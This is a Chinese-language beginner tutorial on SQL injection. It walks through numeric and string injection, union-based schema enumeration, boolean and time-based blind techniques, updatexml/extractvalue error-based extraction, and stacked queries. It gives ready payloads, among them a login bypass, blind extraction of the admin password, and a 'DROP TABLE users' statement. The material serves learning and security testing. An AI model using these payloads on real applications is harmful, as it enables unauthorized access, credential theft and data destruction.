SQL注入
SQL注入入门
简介
就不说奇奇怪怪书面语言了,大致意思就是通过可控输入点达到非预期执行数据库语句,这里的非预期指的是,拼接相应的语句可以拿到数据库里面的其他数据,具体看下面的Demo。
比如下面的语句:
1 | $sql = "SELECT username,password FROM users WHERE id = ".$_GET["id"]; |
对于他的预期操作,一般一个id是用来索引的,传入的值应该是:
1 | $_GET["id"] = 1; |
所以预期执行的语句应该是:
1 | $sql = "SELECT username,password FROM users WHERE id = 1"; |
在没有过滤的情况下,我们能够在后面拼接我们自己的语句
比如,我们传入的值:
1 | $_GET["id"] ="1 union select username,password from user" |
那么最后执行的语句就是:
1 | $sql = "SELECT username,password FROM users WHERE id = 1 union select username,password from user;" |
这样就造成了非预期语句的执行,我们在获得 users
表中的预期数据的同时也获得了 users
表中的非预期数据。
当你看到这时,不需要对语句有具体了解,但你需要知道SQL注入是一个怎么样的过程。
下面我们从数据库基础——结构 基本语法开始 一步一步引到您学会基础的SQL注入。
SQL数据库基础
数据库结构基础
如图所示 数据库 为层级结构:
- 数据库 ( database )
- 表 ( table )
- 列 (column)
- 数据
数据库语法基础¶
常用语法:
SELECT
1 | SELECT 列名1, 列名2, ... FROM 表名 WHERE 条件 |
UNION
1 | SELECT 列名 FROM 表名 |
注意 使用 UNION
的时候要注意两个表的列数量必须相同。
LIMIT
SQL SELECT column1, column2, ... FROM table_name LIMIT number; #返回表中前number行数据 SELECT column1, column2, ... FROM table_name LIMIT offset, row_count; #从offset+1行开始返回row_count行数据 #比如 LIMIT 10, 10 返回11-20行数据
SQL SELECT * FROM table_name ORDER BY column_name DESC LIMIT 10;
注释
1 | SELECT username,password FROM users WHERE id = ((1)) union select username,password from user;-- )) limit1,1;后面的内容都将被注释 |
Order by
1 | SELECT column1, column2, ... FROM table_name [WHERE condition] ORDER BY column_name [ASC|DESC]; |
常用参数:
user()
:当前数据库用户database()
:当前数据库名version()
:当前使用的数据库版本@@datadir
:数据库存储数据路径concat()
:联合数据,用于联合两条数据结果。如concat(username,0x3a,password)
group_concat()
:和concat()
类似,如group_concat(DISTINCT+user,0x3a,password)
,用于把多条数据一次注入出来concat_ws()
:用法类似hex()
和unhex()
:用于 hex 编码解码ASCII()
:返回字符的 ASCII 码值CHAR()
:把整数转换为对应的字符load_file()
:以文本方式读取文件,在 Windows 中,路径设置为\\
select xxoo into outfile '路径'
:权限较高时可直接写文件
基础注入类型
数字型注入
我们开局举的例子就是一个很典型的数字型注入。
1 | $sql = "SELECT username,password FROM users WHERE id = ".$_GET["id"]; |
我们可用理解为两个部分 原有语句 SELECT username,password FROM users WHERE id =
和用户输入部分$_GET["id"]
。
前面我们说到,这种语句一般用于用户输入id来索引查询,所以预期的输入都是数字,所以直接采用的直接拼接的方式,以数字的方式进行查询。
然而,用户的输入因为没有过滤的缘故,不管输入什么都会直接拼接到后面,所以我们可用用下面的步骤逐步得到数据库信息:
- 使用
Order by
确定列数,方便后续注入。
1 | id = 1 Order by 1; |
- 使用联合查询
union
基于information_schema
拿到数据库名
1 | 1 union SELECT 1,schema_name FROM information_schema.schemata; |
也可以把1换成其他的,比如database()
这样我们可以知道我们当前在哪个数据库
- 下面就是用联合查询得到数据库里面的表名,一般步骤我们都是先获取当前库 (
database()
) 的表,再去看其他库的。
这里我们基于UNION
GROUP_CONCAT(table_name)
和 information_schema.tables
1 | 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() |
- 下面就是去获得 表 的对应字段名 方便我们最后一步的查询工作
这里我们使用UNION
GROUP_CONCAT(column_name)
和 information_schema.columns
1 | 1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() |
字符型注入
下面我们假设一个登录系统,那么他会接收两个参数 用户名和密码 后台的查询语句可能这样写
1 | SELECT * FROM users WHERE username='$username' AND password='$password'; |
对于这种,开发时,预期数据收到的参数都为字符,使用字符进行查询的数据库的注入漏洞 我们称为字符型注入。
与数字型不同的是,我们需要先构造单引号的闭合。
这里我们让 $username
= -1' or '1'='1' --
1 | SELECT * FROM users WHERE username='-1' or '1'='1' -- ' AND password='$password'; |
就可以使Where
的条件永真,直接输出SELECT * FROM users
的所有内容。
同样,与数字型的注入方式类似,我们也可以使用联合查询的方法来获取数据库信息。
order by
判断列数
1 | SELECT * FROM users WHERE username='-1' or '1'='1' order by 1-- ' AND password='$password'; |
那么接下来就和数字型注入相同 吧 order by NUM
换成对应的语句即可:
- 库名
1 | SELECT * FROM users WHERE username='-1' or '1'='1' union SELECT 1,schema_name,2 FROM information_schema.schemata;-- ' AND password='$password'; |
- 表名
1 | SELECT * FROM users WHERE username='-1' or '1'='1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database()-- ' AND password='$password'; |
- 字段名
1 | SELECT * FROM users WHERE username='-1' or '1'='1' union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database()-- ' AND password='$password'; |
盲注
盲注是指攻击者不能直接获取数据库中的信息,需要通过一些技巧来判断或推断出数据库中的数据。盲注主要分为布尔盲注和时间盲注两种。
我们还是以下面的句子为例子,不过相比于之前的不同,我们规定用户的查询没有回显,所以仅靠上面的方式我们无法获得数据,所以我们选用盲注。
1 | $sql = "SELECT username,password FROM users WHERE id = ".$_GET["id"]; |
布尔盲注
对于上述语句,如果id的传参如下:
1 | id = 1 AND 1=1 |
那么语句执行为:
1 | SELECT username,password FROM users WHERE id = 1 AND 1=1; |
这里会要求两个条件为真,一是有id=1
这个值,二是 1=1
,这两个条件当然是满足的,特别是后面的这个条件。
那如果我让AND后面的条件为 1 = 2
:
1 | SELECT username,password FROM users WHERE id = 1 AND '1'='2'; |
可以看到返回为空,因为AND后面的条件不满足。
那么利用这个AND符号我们可以尝试下面的一些方式来获取信息:
- 使用 length()获取长度信息
比如,我们用 length()函数去爆破数据长度
1 | id = 1 AND length(username)= NUM |
那么语句执行为:
1 | SELECT username,password FROM users WHERE id = 1 AND length(username)=1; |
当然 枚举长度的方式效率属实难蚌,我们可以使用大于小于符号 基于二分算法进行爆破:
1 | id = 1 AND length(username)< NUM |
这样效率会高很多。
SUBSTR()
函数用于截取字符串中的一部分。利用SUBSTR()
函数,逐步截取数据库中的某个数据:
SUBSTR(string, start, length)
其中,string
表示要截取的字符串,start
表示截取的起始位置,length
表示截取的长度。SUBSTR()
函数会从字符串的start
位置开始,截取指定长度的字符。
1 | 1 AND SUBSTR(username,1,1) = '?' |
那么语句执行为:
1 | SELECT username,password FROM users WHERE id = 1 AND SUBSTR(username,1,1) = '?'; |
1 | SELECT username,password FROM users WHERE id = 1 AND SUBSTR(username,2,1) = 'd'; |
通过前部分长度的获取,结合 substr()
就可以对一个具体的字符数据进行fuzz了。
这里推荐编写脚本来完成这样繁琐的工作。
除了上述用法 SUBSTR()
函数还可以用于替换字符串中的某个字符:
1 | UPDATE users SET username=SUBSTR(username,1,3)||'***'||SUBSTR(username,7) WHERE username='admin' |
面的SQL语句的作用是将管理员账户的用户名中的第4到第6个字符替换为***
通过对该函数的组合使用,可以在不使用联合注入和依赖可视回显的方式拿到对应数据:
1 | SELECT username,password FROM users WHERE id = 1 AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a' |
MID()
函数也是用于截取字符串的函数。
1 | MID(string, start, length) |
CONCAT()
CONCAT()
函数用于将多个字符串连接成一个字符串。
1 | CONCAT(string1, string2, ...) |
而在盲注中,我们通常用其的连接功能减少查询跳转。
时间盲注
其实和布尔差不多,只不过是利用SQL语句的执行时间来判断SQL语句的真假,从而逐步推断出数据库中的数据。
下面是一些常用函数 和使用技巧:
IF()
IF()
函数是一种条件判断函数,它用于判断指定条件是否成立,并根据判断结果返回不同的值.
1 | IF(condition, value_if_true, value_if_false) |
其中,condition
表示要判断的条件,value_if_true
表示条件成立时要返回的值,value_if_false
表示条件不成立时要返回的值。如果条件成立,IF()
函数将返回value_if_true
,否则将返回value_if_false
SLEEP()
1 | SLEEP()` 函数是时间盲注的核心,其语法为 `SLEEP(seconds) |
当语句被执行时,程序将会暂停指定秒数,比如下面的例子:
通常 IF
和 SLEEP
两函数会一起使用
1 | SELECT * FROM users WHERE username='admin' AND IF(SLEEP(5),1,0) |
如果数据库中不存在用户名为admin
的用户,那么该语句将会立即返回结束;否则,程序将会暂停5秒钟后再返回结果。
同样我们使用我们的demo语句,SELECT username,password FROM users WHERE id =
来演示:
- 利用延时函数,如
SLEEP()
函数或者BENCHMARK()
函数,来判断是否注入成功。
1 | SELECT username,password FROM users WHERE id = 1 AND IF(ASCII(SUBSTR(username,1,1))=97,SLEEP(5),0) |
如果用户表中的第一个用户名字符为字母a
,则程序会暂停5秒钟,否则返回0。
- 利用时间戳
可以利用数据库中的时间戳函数,如UNIX_TIMESTAMP()
函数来构造延时语句,如:
1 | SELECT username,password FROM users WHERE id = 1 AND IF(UNIX_TIMESTAMP()>1620264296,SLEEP(5),0) |
上述SQL语句的意思是:如果当前时间戳大于1620264296
,则程序会暂停5秒钟,否则返回0。
- 利用函数返回值
可以利用函数的返回值,如LENGTH()
函数、SUBSTR()
函数等,来判断是否注入成功。例如:
1 | SELECT username,password FROM users WHERE id = 1 AND IF(LENGTH(username)=4,SLEEP(5),0) |
上述SQL语句的意思是:如果用户名的长度为4,则程序会暂停5秒钟,否则返回0。
BENCHMARK()
BENCHMARK()
函数是一种用于重复执行指定语句的函数,在MySQL等数据库中支持使用。BENCHMARK()
函数的语法通常如下:
1 | BENCHMARK(count,expr) |
其中,count
表示要重复执行的次数,expr
表示要重复执行的语句。
看这个例子:
1 | SELECT * FROM users WHERE username='admin' AND IF(BENCHMARK(10,MD5('test')),1,0) |
如果数据库中不存在用户名为admin
的用户,那么该语句将会立即返回;否则,程序将会重复执行MD5('test')
函数10次后再返回结果
报错注入
顾名思义,通过报错信息获取数据的方法。
updatexml()
这里我们先讲 updatexml()
报错注入。
updatexml()
是MySQL中的一种XML处理函数,它用于更新XML格式的数 据,其标准的用法如下:
1 | UPDATEXML(xml_target, xpath_expr, new_value) |
其中,xml_target
是要更新的XML数据,xpath_expr
是要更新的节点路 径,new_value
是新的节点值。
但是这个函数有一个缺陷,如果二个参数包含特殊符号时会报错,并且会第二 个参数的内容显示在报错信息中
1 | mysql> SELECT username, password FROM users WHERE id = 1 and updatexml(1, 0x7e, 3); |
那么通过这个特性,我们用 concat()
函数 将查询语句和特殊符号拼接 在一起,就可以将查询结果显示在报错信息中
1 | SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat(0x7e,version()), 3) |
输出:
1 | mysql> SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat(0x7e,version()), 3); |
不过要注意的是 updatexml()
的报错长度存在字符长度限制,目前有两 种方法来解决这个问题:
LIMIT()
1 | SELECT username, password FROM users WHERE id = 1 and updatexml(1,concat(0x7e, |
substr()
1
2
3
4
5SELECT username, password FROM users WHERE id = 1 and updatexml(1,concat(0x7e,
substr(
(select group_concat(username) from users),
1,31)
),3);执行结果:
1 | mysql> SELECT username, password FROM users WHERE id = 1 and updatexml(1,concat(0x7e, |
利用利用上述特性,我们可以下面的语句获取信息:
获取所有数据库
1 | SELECT username, password FROM users WHERE id = 1 and |
获取所有表
1 | SELECT username, password FROM users WHERE id = 1 and |
获取所有字段
1 | SELECT username, password FROM users WHERE id = 1 and |
extractvalue()
extractvalue()
是MySQL中的一个XML处理函数,它用于从XML格式的数据中提取指定节点的值。
正常情况下他的语法如下:
1 | EXTRACTVALUE(xml_target, xpath_expr) |
其中,xml_target
是要提取节点值的XML数据,xpath_expr
是要提取的节点路径。
它用于报错注入的方法其实和 updatexml()
函数的使用方法差不多 但是参数少一个x
而且报错信息长度限制也和updatexml()
一样,所以这里就不多做赘述。
floor()
exp()
堆叠注入
顾名思义x 一堆 SQL语句(多条)一起执行方法被称为堆叠注入。
其实讲原理就很容易懂:
在执行SQL语句时,如果SQL语句中包含多个SQL语句,数据库服务器会依次执行这些SQL语句,从而导致多次SQL注入攻击。通过在SQL语句中使用分号(;)来分隔多个SQL语句,从而实现堆叠注入攻击。
举个栗子:
1 | SELECT username, password FROM users WHERE id =1; DROP TABLE users;-- |
执行这个SQL语句时,数据库服务器会依次执行这两个SQL语句,将会查询到users
表中的用户名和密码,并且将users
表删除。